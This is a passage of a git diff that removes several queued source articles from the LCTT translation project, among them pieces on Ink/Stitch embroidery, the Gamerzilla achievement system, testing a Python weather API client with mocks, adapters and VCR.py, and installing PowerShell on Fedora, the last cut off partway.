start. You may find it easier to use the function _Extensions > Ink/Stitch > Visualise and Export > Stitch Plan Preview_. The latter renders the threading of the embroidery outside of the document. - -![Nicubunu’s Fedora hat icon as embroidery. The angles for the stitches of the head part and the brim are different so that it looks more realistic. The outline is done in Satin stitching][24] - -### Simple Satin and Satin Embroidery - -Ink/Stitch will convert each stroke with a continuous line (no dashes) to what they call Zig-Zag or Simple Satin. Stitches are created along the path using the stroke width you have specified. This will work as long there aren’t too many curves on the path. - -![Parameter setting dialogue and on the right the Fedora logo shape embroidered as Zig-Zag line][25] - -This is simple. But it is by far not the best way. It is better to use the Satin Tools for this. The functions for the Satin embroidery can be found under _Extensions > Satin Tools_. The most important is the conversion function which converts paths to satin strokes. - -![Fedora logo shape as Satin Line embroidery][26] - -You can also reverse the stitch direction using _Extensions > Satin Tools > Flip Satin Column Rails_. This underlines the 3D effect satin embroidery gets, especially when you make puff embroidery. For machines that have this capability, you can also set the markings for the trims of jump stitches. To visualize these trims, Ink/Stitch uses the symbols that where installed from its own symbol library. - -### The Ink/Stitch Stitch Library - -What is called the stitch library is simply the kind of stitches that Ink/Stitch can create. The Fill Stitch and Zig-Zag/Satin Stitch have already been introduced. But there are more. - - * **Running Stitches**: These are used for doing outline designs. The running stitch produces a series of small stitches following a line or curve. Each dashed line will be converted into a Running Stitch. The size of the dashes does not matter. - - - -![A running stitch – each dashed line will be converted in such one][27] - - * **Bean Stitches**: These can also be used for outline designs or add details to a design. The bean stitch describes a repetition of running stitches back and forth. This results in thicker threading. - - - -![Bean Stitches – creating a thicker line][28] - - * **Manual Stitch**: In this mode, Ink/Stitch will use each node of a path as a needle penetration point; exactly as they are placed. - - - -![In manual mode – each node will be the needle penetration point][29] - - * **E-Stitch**: The main use for e-stitch is a simple but strong cover stitch for applique items. It is often used for baby cloths because their skin tends to be more sensitive. - - - -![E-Stitch mostly used for applications on baby cloths, soft but strong connection][30] - -### Embroidery Thread List - -Some embroidery machines (especially those designed for commercial use) allow different threads to be fitted in advance according to what will be needed for the design. These machines will automatically switch to the right thread when needed. Some file formats for embroidery support this feature. But some do not. Ink/Stitch can apply custom thread lists to an embroidery design. - -If you want to work on an existing design, you can import a thread list: _Extensions > Ink/Stitch > Import Threadlist_. Thread lists can also be exported: _Save As different file formats as *.zip_. You can also print them: _Extensions > Ink/Stitch > Visualise and Export > Print PDF_. - -### Conclusion - -Writing software for embroidery design is not easy. Many functions are needed and diverse (sometimes closed-source) file formats make the task difficult. Ink/Stitch has managed to create a useful tool with many functions. It enables the user to get started with basic embroidery design. Some things could be done a little better. But it is definitely a good tool as-is and I expect that it will become better over time. Machine embroidery can be an interesting hobby and with Ink/Stitch the Fedora Linux user can begin designing breathtaking things. - --------------------------------------------------------------------------------- - -via: https://fedoramagazine.org/make-more-with-inkscape-ink-stitch/ - -作者:[Sirko Kemter][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://fedoramagazine.org/author/gnokii/ -[b]: https://github.com/lujun9972 -[1]: https://fedoramagazine.org/wp-content/uploads/2021/08/drawing2-816x345.png -[2]: https://fedoramagazine.org/series/make-more/ -[3]: https://fedoramagazine.org/make-more-with-inkscape-g-code-tools/ -[4]: https://inkstitch.org/ -[5]: https://fedoramagazine.org/3d-printing-in-fedora-from-an-idea-to-the-thing/ -[6]: https://en.wikipedia.org/wiki/Numerical_control -[7]: https://www.amazon.com/-/de/dp/B07VZ2YBLL/ref=sr_1_11?__mk_de_DE=%C3%85M%C3%85%C5%BD%C3%95%C3%91&crid=1MFJJWXMKQD6R&dchild=1&keywords=home+embroidery+machine&qid=1628388092&rnid=2941120011&s=arts-crafts&sprefix=home+embroider+%2Caps%2C-1&sr=1-11 -[8]: https://www.fablabs.io/labs/map -[9]: https://www.embird.net/ -[10]: https://embroidermodder.org/ -[11]: https://fedoramagazine.org/wp-content/uploads/2021/08/inkstitch_logo.png -[12]: https://github.com/Embroidermodder/libembroidery -[13]: https://github.com/inkstitch/pyembroidery -[14]: http://www.needlework.ru/page/embroidery.htm -[15]: http://edutechwiki.unige.ch/en/Embroidery_format -[16]: https://inkscape.org/~wwderw/%E2%98%85inkstitch-embroidery-extension -[17]: https://github.com/inkstitch/inkstitch/releases/tag/v2.0.0 -[18]: https://fedoramagazine.org/wp-content/uploads/2021/08/swatches-1024x556.png -[19]: https://inkstitch.org/assets/images/tutorials/templates/hoop-template.svg -[20]: https://fedoramagazine.org/wp-content/uploads/2021/08/satinfont-1024x556.png -[21]: https://inkstitch.org/tutorials/font-creation/ -[22]: https://fedoramagazine.org/wp-content/uploads/2021/08/lettering-1024x523.png -[23]: https://fedoramagazine.org/wp-content/uploads/2021/08/stitch-preview-1024x556.png -[24]: https://fedoramagazine.org/wp-content/uploads/2021/08/nicu-stitch.gif -[25]: https://fedoramagazine.org/wp-content/uploads/2021/08/zigzag-1024x463.png -[26]: https://fedoramagazine.org/wp-content/uploads/2021/08/satin.png -[27]: https://fedoramagazine.org/wp-content/uploads/2021/08/running-stitch-detail.jpg -[28]: https://fedoramagazine.org/wp-content/uploads/2021/08/bean-stitch-detail.jpg -[29]: https://fedoramagazine.org/wp-content/uploads/2021/08/manual-stitch-detail.png -[30]: https://fedoramagazine.org/wp-content/uploads/2021/08/e-stitch-detail.jpg diff --git a/sources/tech/20210917 Open source game achievements.md b/sources/tech/20210917 Open source game achievements.md deleted file mode 100644 index 663e6387a2..0000000000 --- a/sources/tech/20210917 Open source game achievements.md +++ /dev/null @@ -1,82 +0,0 @@ -[#]: subject: "Open source game achievements" -[#]: via: "https://fedoramagazine.org/open-source-game-achievements/" -[#]: author: "Dennis Payne https://fedoramagazine.org/author/dulsi/" -[#]: collector: "lujun9972" -[#]: translator: " " -[#]: reviewer: " " -[#]: publisher: " " -[#]: url: " " - -Open source game achievements -====== - -![][1] - -Photo by [Michał Parzuchowski][2] on [Unsplash][3] - -Learn how Gamerzilla brings an achievement system to open source games and enables all developers to implement achievements separate from the game platform. - -Some open source games rival the quality of commercial games. While it is hard to match the quality of triple-a games, open source games compete effectively against the indie games. But, gamer expectations change over time. Early games included a high score. Achievements expanded over time to promote replay. For example, you may have completed a level but you didn’t find all the secrets or collect all the coins. The Xbox 360 introduced the first multi-game online achievement system. Since that introduction, many game platforms added an achievement system. - -Open source games are largely left out of the achievement systems. You can publish an open source game on Steam, but it costs money and they focus on working with companies not the free software community. Additionally, this locks players into a non-free platform. - -Commercial game developers are not well served either, since some players enjoy achievements and refuse to purchase from other stores due to the inability to share their accomplishments. This lock-in gives the power to the platform holder. Each platform has a different system forcing the developer to implement support and testing multiple times. Smaller platform are likely to be skipped entirely. Furthermore, the platform holder has access to the achievement data on all companies using their system which could be used for competitive advantage. - -### Architecture of Gamerzilla - -[Gamerzilla][4] is an open source game achievement system which attempts to correct this situation. The design considered both open source and commercial games. You can run your own Gamerzilla server, use one provided by a game store, or even distributions, or other groups could run them. Where you buy the game doesn’t matter. The achievement data uploads to your Gamerzilla server. - -Game achievements require two things, a game, and a Gamerzilla server. As game collections grow, however, that setup has a disadvantage. Each game needs to have credentials to upload to the Gamerzilla server. Many gamers turn to game launchers due to their large number of games and ability to synchronize with one or more stores. By adding Gamerzilla support to the launcher, the individual games no longer need to know your credentials. Session results will relay from the game launcher to the Gamerzilla server. - -At one time, freegamedev.net provided the Hubzilla social networking system. We created an addon allowing us to jump start Gamerzilla development. Unfortunately server upgrades broke the service so freegamedev.net stopped offering it. - -For Gamerzilla servers, two implementations exist. Maintaining Hubzilla is a complex task, so we developed a standalone Gamerzilla service using *.*Net and React. The API used by games remains the same so it doesn’t matter which implementation you connect to. - -Game launchers development and support often lags. To facilitate adding support, we created libgamerzilla. The library handles all the interaction between the game launcher, games, and the Gamerzilla server. Right now only _GameHub_ has an implementation with Gamerzilla support and merging into the project is pending. On Fedora Linux, libgamerzilla-server package serves as a temporary solution. It does not launch games but listens for achievements and relays them to your server. - -Game support continues growing. As with game launchers, developers use libgamerzilla to handle the Gamerzilla integration. The library, written in C, is in use in a variety of languages like Python and nim. Games which already have an achievement system typically take only a few days to add support. For other games ,collecting all the information to award the achievements occupies the bulk of the implementation time. - -### Setting up a server - -The easiest server to setup is the Hubzilla addon. That, however, requires a working Hubzilla site which is not the simplest thing to setup. The new .Net and React server can be setup relatively easily on Fedora Linux, although there are a lot of steps. The [readme][5] details all the steps. The long set of steps is, in part, due to the lack of a built release. This means you need to build the .Net and the React code. Once built, React code serves up directly in Apache. A new service runs the .Net piece. Apache proxies all requests to the Gamerzilla API for the new service. - -With the setup steps done, Gamerzilla runs but there are no users. There needs to be an easy way to create an administrator and register new users. Unfortunately this piece does not exist yet. At this time, users must be entered directly using the sqlite3 command line tool. The instructions are in the [readme][5]. Users can be publicly visible or not. The approval flag allows new users to not use the system immediately but web registration still needs to be implemented The user piece is designed with replacement in mind. It would not be hard to replace backend/Service/UserService.cs to integrate with an existing site. Gaming web sites could use this to offer Gamerzilla achievements to their users. - -Currently the backend uses a sqlite database. No performance testing has been done. We expect that larger installations may need to modify the system to use a more robust database system. - -### Testing the system - -There is no game launcher easily available at the moment. If you install libgamerzilla-server, you will have the command _gamerzillaserver_ available from the command line. The first time you run it, you enter your url and login information. Subsequent executions will simply read the information from the configuration file. There is currently no way to correct a mistake except deleting the file at _.local/share/ga_merzillaserver/server.cfg and running _gamerzillaserver_ again. - -Most games have no built releases with Gamerzilla support. [Pinball Disc Room on itch.io][6] does have support built in the Linux version. The web version has no achievements There are only two achievements in the game, one for surviving for ten seconds and the other for unlocking and using the tunnel. With a little practice you can get an achievement. You need to check your Gamerzila server as the game provides no visual notification of the achievement. - -Currently no game packaged in Fedora Linux supports Gamerzilla. SuperTuxKart merged support but is still awaiting a new release. Seahorse adventures and Shippy 1984 added achievements but new releases are not packaged yet. Some games with support, we maintain independently as the developers ignore pull requests or other attempt to contact them. - -### Future work - -Gamerzilla needs more games. A variety of games currently support the system. An addition occurs nearly every month. If you have a game you like, ask the developer to support Gamerzilla. If you are making a game and need help adding support, please let us now. - -Server development proceeds at a slow pace and we hope to have a functional registration system soon. After that we may setup a permanent hosting site. Right now you can see our [test server][7]. Some people expressed concern with the .Net backend. The API is not very complex and could be rewritten in Python fairly easily. - -The largest unknown remains game launchers. GameHub wants a generic achievement interface. We could try to work with them to get that implemented. Adding support to the itch.io app could increase interest in the system. Another possibility is to do away with the game launcher entirely. Perhaps adding something like the gamerzillaserver to Gnome might be possible. You would then configure your url and login information on a settings page. Any game launched could then record achievements. - --------------------------------------------------------------------------------- - -via: https://fedoramagazine.org/open-source-game-achievements/ - -作者:[Dennis Payne][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://fedoramagazine.org/author/dulsi/ -[b]: https://github.com/lujun9972 -[1]: https://fedoramagazine.org/wp-content/uploads/2021/09/game_acheivements-816x345.jpg -[2]: https://unsplash.com/@mparzuchowski?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText -[3]: https://unsplash.com/s/photos/jenga?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText -[4]: http://identicalsoftware.com/gamerzilla/ -[5]: https://github.com/dulsi/gamerzilla.net#readme -[6]: https://dulsi.itch.io/pinball-disc-room -[7]: http://108.49.106.217/ diff --git a/sources/tech/20210921 3 ways to test your API with Python.md b/sources/tech/20210921 3 ways to test your API with Python.md deleted file mode 100644 index a996dfc7a4..0000000000 --- a/sources/tech/20210921 3 ways to test your API with Python.md +++ /dev/null @@ -1,513 +0,0 @@ -[#]: subject: "3 ways to test your API with Python" -[#]: via: "https://opensource.com/article/21/9/unit-test-python" -[#]: author: "Miguel Brito https://opensource.com/users/miguendes" -[#]: collector: "lujun9972" -[#]: translator: " " -[#]: reviewer: " " -[#]: publisher: " " -[#]: url: " " - -3 ways to test your API with Python -====== -Unit testing can be daunting, but these Python modules will make your -life much easier. -![Puzzle pieces coming together to form a computer screen][1] - -In this tutorial, you'll learn how to unit test code that performs HTTP requests. In other words, you'll see the art of API unit testing in Python. - -Unit tests are meant to test a single unit of behavior. In testing, a well-known rule of thumb is to isolate code that reaches external dependencies. - -For instance, when testing a code that performs HTTP requests, it's recommended to replace the real call with a fake call during test time. This way, you can unit test it without performing a real HTTP request every time you run the test. - -The question is, _how can you isolate the code?_ - -Hopefully, that's what I'm going to answer in this post! I'll not only show you how to do it but also weigh the pros and cons of three different approaches. - -Requirements: - - * [Python 3.8][2] - * pytest-mock - * requests - * flask - * responses - * VCR.py - - - -### Demo app using a weather REST API - -To put this problem in context, imagine that you're building a weather app. This app uses a third-party weather REST API to retrieve weather information for a particular city. One of the requirements is to generate a simple HTML page, like the image below: - -![web page displaying London weather][3] - -The weather in London, OpenWeatherMap. Image is the author's own. - -To get the information about the weather, you must find it somewhere. Fortunately, [OpenWeatherMap][2] provides everything you need through its REST API service. - -_Ok, that's cool, but how can I use it?_ - -You can get everything you need by sending a `GET` request to: `https://api.openweathermap.org/data/2.5/weather?q={city_name}&appid={api_key}&units=metric`. For this tutorial, I'll parameterize the city name and settle on the metric unit. - -### Retrieving the data - -To retrieve the weather data, use `requests`. You can create a function that receives a city name as a parameter and returns a JSON. The JSON will contain the temperature, weather description, sunset, sunrise time, and so on. - -The example below illustrates such a function: - - -``` -def find_weather_for(city: str) -> dict: -    """Queries the weather API and returns the weather data for a particular city.""" -    url = API.format(city_name=city, api_key=API_KEY) -    resp = requests.get(url) -    return resp.json() -``` - -The URL is made up of two global variables: - - -``` -BASE_URL = "" -API = BASE_URL + "?q={city_name}&appid={api_key}&units=metric" -``` - -The API returns a JSON in this format: - - -``` -{ -  "coord": { -    "lon": -0.13, -    "lat": 51.51 -  }, -  "weather": [ -    { -      "id": 800, -      "main": "Clear", -      "description": "clear sky", -      "icon": "01d" -    } -  ], -  "base": "stations", -  "main": { -    "temp": 16.53, -    "feels_like": 15.52, -    "temp_min": 15, -    "temp_max": 17.78, -    "pressure": 1023, -    "humidity": 72 -  }, -  "visibility": 10000, -  "wind": { -    "speed": 2.1, -    "deg": 40 -  }, -  "clouds": { -    "all": 0 -  }, -  "dt": 1600420164, -  "sys": { -    "type": 1, -    "id": 1414, -    "country": "GB", -    "sunrise": 1600407646, -    "sunset": 1600452509 -  }, -  "timezone": 3600, -  "id": 2643743, -  "name": "London", -  "cod": 200 -``` - -The data is returned as a Python dictionary when you call `resp.json()`. In order to encapsulate all the details, you can represent them as a `dataclass`. This class has a factory method that gets the dictionary and returns a `WeatherInfo` instance. - -This is good because you keep the representation stable. For example, if the API changes the way it structures the JSON, you can change the logic in just one place, the `from_dict` method. Other parts of the code won't be affected. You can even get information from different sources and combine them in the `from_dict` method! - - -``` -@dataclass -class WeatherInfo: -    temp: float -    sunset: str -    sunrise: str -    temp_min: float -    temp_max: float -    desc: str - -    @classmethod -    def from_dict(cls, data: dict) -> "WeatherInfo": -        return cls( -            temp=data["main"]["temp"], -            temp_min=data["main"]["temp_min"], -            temp_max=data["main"]["temp_max"], -            desc=data["weather"][0]["main"], -            sunset=format_date(data["sys"]["sunset"]), -            sunrise=format_date(data["sys"]["sunrise"]), -        ) -``` - -Now, you'll create a function called `retrieve_weather`. You'll use this function to call the API and return a `WeatherInfo` so you can build your HTML page. - - -``` -def retrieve_weather(city: str) -> WeatherInfo: -    """Finds the weather for a city and returns a WeatherInfo instance.""" -    data = find_weather_for(city) -    return WeatherInfo.from_dict(data) -``` - -Good, you have the basic building blocks for our app. Before moving forward, unit test those functions. - -### 1\. Testing the API using mocks - -[According to Wikipedia][4], a mock object is an object that simulates the behavior of a real object by mimicking it. In Python, you can mock any object using the `unittest.mock` lib that is part of the standard library. To test the `retrieve_weather` function, you can then mock `requests.get` and return static data. - -#### pytest-mock - -For this tutorial, you'll use `pytest` as your testing framework of choice. The `pytest` library is very extensible through plugins. To accomplish our mocking goals, use `pytest-mock`. This plugin abstracts a bunch of setups from `unittest.mock` and makes your testing code very concise. If you are curious, I discuss more about it in [another blog post][5]. - -_Ok, enough talking, show me the code._ - -Here's a complete test case for the `retrieve_weather` function. This test uses two fixtures: One is the `mocker` fixture provided by the `pytest-mock` plugin. The other one is ours. It's just the static data you saved from a previous request. - - -``` -@pytest.fixture() -def fake_weather_info(): -    """Fixture that returns a static weather data.""" -    with open("tests/resources/weather.json") as f: -        return json.load(f) - -[/code] [code] - -def test_retrieve_weather_using_mocks(mocker, fake_weather_info): -    """Given a city name, test that a HTML report about the weather is generated -    correctly.""" -    # Creates a fake requests response object -    fake_resp = mocker.Mock() -    # Mock the json method to return the static weather data -    fake_resp.json = mocker.Mock(return_value=fake_weather_info) -    # Mock the status code -    fake_resp.status_code = HTTPStatus.OK - -    mocker.patch("weather_app.requests.get", return_value=fake_resp) - -    weather_info = retrieve_weather(city="London") -    assert weather_info == WeatherInfo.from_dict(fake_weather_info) -``` - -If you run the test, you get the following output: - - -``` -============================= test session starts ============================== -...[omitted]... -tests/test_weather_app.py::test_retrieve_weather_using_mocks PASSED      [100%] -============================== 1 passed in 0.20s =============================== -Process finished with exit code 0 -``` - -Great, your tests pass! But... Life is not a bed of roses. This test has pros and cons. I'll take a look at them. - -#### Pros - -Well, one pro already discussed is that by mocking the API's return, you make your tests easier. Isolate the communication with the API and make the test predictable. It will always return what you want. - -#### Cons - -As for cons, the problem is, what if you don't want to use `requests` anymore and decide to go with the standard library's `urllib`. Every time you change the implementation of `find_weather_for`, you will have to adapt the test. A good test doesn't change when your implementation changes. So, by mocking, you end up coupling your test with the implementation. - -Also, another downside is the amount of setup you have to do before calling the function—at least three lines of code. - - -``` -... -    # Creates a fake requests response object -    fake_resp = mocker.Mock() -    # Mock the json method to return the static weather data -    fake_resp.json = mocker.Mock(return_value=fake_weather_info) -    # Mock the status code -    fake_resp.status_code = HTTPStatus.OK -... -``` - -_Can I do better?_ - -Yes, please, follow along. I'll see now how to improve it a bit. - -### Using responses - -Mocking `requests` using the `mocker` feature has the downside of having a long setup. A good way to avoid that is to use a library that intercepts `requests` calls and patches them. There is more than one lib for that, but the simplest to me is `responses`. Let's see how to use it to replace `mock`. - - -``` -@responses.activate -def test_retrieve_weather_using_responses(fake_weather_info): -    """Given a city name, test that a HTML report about the weather is generated -    correctly.""" -    api_uri = API.format(city_name="London", api_key=API_KEY) -    responses.add(responses.GET, api_uri, json=fake_weather_info, status=HTTPStatus.OK) - -    weather_info = retrieve_weather(city="London") -    assert weather_info == WeatherInfo.from_dict(fake_weather_info) -``` - -Again, this function makes use of our `fake_weather_info` fixture. - -Next, run the test: - - -``` -============================= test session starts ============================== -... -tests/test_weather_app.py::test_retrieve_weather_using_responses PASSED  [100%] -============================== 1 passed in 0.19s =============================== -``` - -Excellent! This test pass too. But... It's still not that great. - -#### Pros - -The good thing about using libraries like `responses` is that you don't need to patch `requests` ourselves. You save some setup by delegating the abstraction to the library. However, in case you haven't noticed, there are problems. - -#### Cons - -Again, the problem is, much like `unittest.mock`, your test is coupled to the implementation. If you replace `requests`, your test breaks. - -### 2\. Testing the API using an adapter - -_If by using mocks I couple our tests, what can I do?_ - -Imagine the following scenario: Say that you can no longer use `requests`, and you'll have to replace it with `urllib` since it comes with Python. Not only that, you learned the lesson of not coupling test code with implementation, and you want to avoid that in the future. You want to replace `urllib` and not have to rewrite the tests. - -It turns out you can abstract away the code that performs the `GET` request. - -_Really? How?_ - -You can abstract it by using an adapter. The adapter is a design pattern used to encapsulate or wrap the interface of other classes and expose it as a new interface. This way, you can change the adapters without changing our code. For example, you can encapsulate the details about `requests` in our `find_weather_for` and expose it via a function that takes only the URL. - -So, this: - - -``` -def find_weather_for(city: str) -> dict: -    """Queries the weather API and returns the weather data for a particular city.""" -    url = API.format(city_name=city, api_key=API_KEY) -    resp = requests.get(url) -    return resp.json() -``` - -Becomes this: - - -``` -def find_weather_for(city: str) -> dict: -    """Queries the weather API and returns the weather data for a particular city.""" -    url = API.format(city_name=city, api_key=API_KEY) -    return adapter(url) -``` - -And the adapter becomes this: - - -``` -def requests_adapter(url: str) -> dict: -    resp = requests.get(url) -    return resp.json() -``` - -Now it's time to refactor our `retrieve_weather` function: - - -``` -def retrieve_weather(city: str) -> WeatherInfo: -    """Finds the weather for a city and returns a WeatherInfo instance.""" -    data = find_weather_for(city, adapter=requests_adapter) -    return WeatherInfo.from_dict(data) -``` - -So, if you decide to change this implementation to one that uses `urllib`, just swap the adapters: - - -``` -def urllib_adapter(url: str) -> dict: -    """An adapter that encapsulates urllib.urlopen""" -    with urllib.request.urlopen(url) as response: -        resp = response.read() -    return json.loads(resp) - -[/code] [code] - -def retrieve_weather(city: str) -> WeatherInfo: -    """Finds the weather for a city and returns a WeatherInfo instance.""" -    data = find_weather_for(city, adapter=urllib_adapter) -    return WeatherInfo.from_dict(data) -``` - -_Ok, how about the tests?_ - -To test r`etrieve_weather`, just create a fake adapter that is used during test time: - - -``` -@responses.activate -def test_retrieve_weather_using_adapter( -    fake_weather_info, -): -    def fake_adapter(url: str): -        return fake_weather_info - -    weather_info = retrieve_weather(city="London", adapter=fake_adapter) -    assert weather_info == WeatherInfo.from_dict(fake_weather_info) -``` - -If you run the test you get: - - -``` -============================= test session starts ============================== -tests/test_weather_app.py::test_retrieve_weather_using_adapter PASSED    [100%] -============================== 1 passed in 0.22s =============================== -``` - -#### Pros - -The pro for this approach is that you successfully decoupled your test from the implementation. Use [dependency injection][6] to inject a fake adapter during test time. Also, you can swap the adapter at any time, including during runtime. You did all of this without changing the behavior. - -#### Cons - -The cons are that, since you're using a fake adapter for tests, if you introduce a bug in the adapter you employ in the implementation, your test won't catch it. For example, say that we pass a faulty parameter to `requests`, like this: - - -``` -def requests_adapter(url: str) -> dict: -    resp = requests.get(url, headers=<some broken headers>) -    return resp.json() -``` - -This adapter will fail in production, and the unit tests won't catch it. But truth to be told, you also have the same problem with the previous approach. That's why you always need to go beyond unit tests and also have integration tests. That being said, consider another option. - -### 3\. Testing the API using VCR.py - -Now it's finally the time to discuss our last option. I have only found about it quite recently, frankly. I've been using mocks for a long time and always had some problems with them. `VCR.py` is a library that simplifies a lot of the tests that make HTTP requests. - -It works by recording the HTTP interaction the first time you run the test as a flat YAML file called a _cassette_. Both the request and the response are serialized. When you run the test for the second time, `VCR.py` will intercept the call and return a response for the request made. - -Now see how to test `retrieve_weather` using `VCR.py below:` - - -``` -@vcr.use_cassette() -def test_retrieve_weather_using_vcr(fake_weather_info): -    weather_info = retrieve_weather(city="London") -    assert weather_info == WeatherInfo.from_dict(fake_weather_info) -``` - -_Wow, is that it? No setup? What is that `@vcr.use_cassette()`?_ - -Yes, that's it! There is no setup, just a `pytest` annotation to tell VCR to intercept the call and save the cassette file. - -_What does the cassette file look like?_ - -Good question. There's a bunch of things in it. This is because VCR saves every detail of the interaction. - - -``` -interactions: -\- request: -    body: null -    headers: -      Accept: -      - '*/*' -      Accept-Encoding: -      - gzip, deflate -      Connection: -      - keep-alive -      User-Agent: -      - python-requests/2.24.0 -    method: GET -    uri: [https://api.openweathermap.org/data/2.5/weather?q=London\&appid=\][7]<YOUR API KEY HERE>&units=metric -  response: -    body: -      string: '{"coord":{"lon":-0.13,"lat":51.51},"weather":[{"id":800,"main":"Clear","description":"clearsky","icon":"01d"}],"base":"stations","main":{"temp":16.53,"feels_like":15.52,"temp_min":15,"temp_max":17.78,"pressure":1023,"humidity":72},"visibility":10000,"wind":{"speed":2.1,"deg":40},"clouds":{"all":0},"dt":1600420164,"sys":{"type":1,"id":1414,"country":"GB","sunrise":1600407646,"sunset":1600452509},"timezone":3600,"id":2643743,"name":"London","cod":200}' -    headers: -      Access-Control-Allow-Credentials: -      - 'true' -      Access-Control-Allow-Methods: -      - GET, POST -      Access-Control-Allow-Origin: -      - '*' -      Connection: -      - keep-alive -      Content-Length: -      - '454' -      Content-Type: -      - application/json; charset=utf-8 -      Date: -      - Fri, 18 Sep 2020 10:53:25 GMT -      Server: -      - openresty -      X-Cache-Key: -      - /data/2.5/weather?q=london&units=metric -    status: -      code: 200 -      message: OK -version: 1 -``` - -_That's a lot!_ - -Indeed! The good thing is that you don't need to care much about it. `VCR.py` takes care of that for you. - -#### Pros - -Now, for the pros, I can list at least five things: - - * No setup code. - * Tests remain isolated, so it's fast. - * Tests are deterministic. - * If you change the request, like by using incorrect headers, the test will fail. - * It's not coupled to the implementation, so you can swap the adapters, and the test will pass. The only thing that matters is that you request is the same. - - - -#### Cons - -Again, despite the enormous benefits compared to mocking, there are still problems. - -If the API provider changes the format of the data for some reason, the test will still pass. Fortunately, this is not very frequent, and API providers usually version their APIs before introducing such breaking changes. Also, unit tests are not meant to access the external API, so there isn't much to do here. - -Another thing to consider is having end-to-end tests in place. These tests will call the server every time it runs. As the name says, it's a more broad test and slow. They cover a lot more ground than unit tests. In fact, not every project will need to have them. So, in my view, `VCR.py` is more than enough for most people's needs. - -### Conclusion - -This is it. I hope you've learned something useful today. Testing API client applications can be a bit daunting. Yet, when armed with the right tools and knowledge, you can tame the beast. - -You can find the full app on [my GitHub][8]. - -* * * - -_This article was originally published on the [author's personal blog][9] and has been adapted with permission._ - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/21/9/unit-test-python - -作者:[Miguel Brito][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/miguendes -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/puzzle_computer_solve_fix_tool.png?itok=U0pH1uwj (Puzzle pieces coming together to form a computer screen) -[2]: https://miguendes.me/how-i-set-up-my-python-workspace -[3]: https://opensource.com/sites/default/files/sbzkkiywh.jpeg -[4]: https://en.wikipedia.org/wiki/Mock_object -[5]: https://miguendes.me/7-pytest-plugins-you-must-definitely-use -[6]: https://stackoverflow.com/questions/130794/what-is-dependency-injection -[7]: https://api.openweathermap.org/data/2.5/weather?q=London\&appid=\ -[8]: https://github.com/miguendes/tutorials/tree/master/testing_http -[9]: https://miguendes.me/3-ways-to-test-api-client-applications-in-python diff --git a/sources/tech/20210922 Install PowerShell on Fedora Linux.md b/sources/tech/20210922 Install PowerShell on Fedora Linux.md deleted file mode 100644 index 05a2aa5445..0000000000 --- a/sources/tech/20210922 Install PowerShell on Fedora Linux.md +++ /dev/null @@ -1,320 +0,0 @@ -[#]: subject: "Install PowerShell on Fedora Linux" -[#]: via: "https://fedoramagazine.org/install-powershell-on-fedora-linux/" -[#]: author: "TheEvilSkeletonOzymandias42 https://fedoramagazine.org/author/theevilskeleton/https://fedoramagazine.org/author/ozymandias42/" -[#]: collector: "lujun9972" -[#]: translator: " " -[#]: reviewer: " " -[#]: publisher: " " -[#]: url: " " - -Install PowerShell on Fedora Linux -====== - -![][1] - -Photos by [NOAA][2] and [Cedric Fox][3] on [Unsplash][4] - -PowerShell (also written pwsh) is a powerful open source command-line and object-oriented shell developed and maintained by Microsoft. It is syntactically verbose and intuitive for the user. This article is a guide on how to install PowerShell on the host and inside a Podman or Toolbox container. - -### Table of contents - - * [Why use PowerShell][5] - * [Demonstration][6] - * [Comparison between Bash and PowerShell][7] - * [Install PowerShell][8] - * [Install PowerShell on a host using the package manager][9] - * [Method 1: Microsoft repositories][10] - * [Method 2: RPM file][11] - * [Install via container][12] - * [Method 1: Podman container][13] - * [Method 2: Fedora Linux Toolbox container][14] - - - -### Why use PowerShell - -PowerShell, as the name suggests, is _power_ful. The syntax is verbose and semantically clear to the end user. For those that don’t want to write long commands all the time, most commands are aliased. The aliases can be viewed with _Get-Alias_ or [here][15]. - -The most important difference between PowerShell and traditional shells, however, is its output pipeline. While normal shells output strings or character streams, PowerShell outputs objects. This has far reaching implications for how command pipelines work and comes with quite a few advantages. - -#### Demonstration - -The following examples illustrate the verbosity and simplicity. Lines that start with the pound symbol (**#**) are comments. Lines that start with **PS >** are commands, **PS >** being the prompt: - -``` -# Return all files greater than 50MB in the current directory. -## Longest form -PS > Get-Childitem | Where-Object Length -gt 50MB -## Shortest form (with use of aliases) -PS > gci | ? Length -gt 40MB -## Output looks like this - Directory: /home/Ozymandias42/Downloads -Mode LastWriteTime Length Name ----- ------------- ------ ---- ------ 20/08/2020 13:55 2000683008 40MB-file.img - - -# In order: get VMs, get snapshots, only select the last 3 and remove selected list: -PS > Get-VM VM-1 | Get-Snapshot | Select-Object -Last 3 | Remove-Snapshot -``` - -What this shows quite well is that input-output reformatting with tools like _cut_, _sed_, _awk_ or similar, which Bash scripts often need, is usually not necessary in PowerShell. The reason for this is that PowerShell works fundamentally different than traditional POSIX shells such as Bash, Zsh, or other shells like Fish. The commands of traditional shells are output as strings whereas in PowerShell they are output as objects. - -#### Comparison between Bash and PowerShell - -The following example illustrates the advantages of the object-output in PowerShell in contrast to the traditional string-output in Bash. Suppose you want a script that outputs all processes that occupy 200MB or more in RAM. With Bash, this might look something like this: - -``` -$ ps -eO rss | awk -F' ' \ - '{ if($2 >= (1024*200)) { \ - printf("%s\t%s\t%s\n",$1,$2,$6);} \ - }' - -PID RSS COMMAND -A B C -[...] -``` - -The first obvious difference is readability or more specifically, semantic clarity. Neither _ps_ nor _awk_ are self-descriptive. _ps_ shows the **p**rocess **s**tatus and _awk_ is a text processing tool and language whose letters are the initials of its developers’ last names, **A**ho, **W**einberger, **K**ernighan (see [Wikipedia][16]). Before contrasting it with 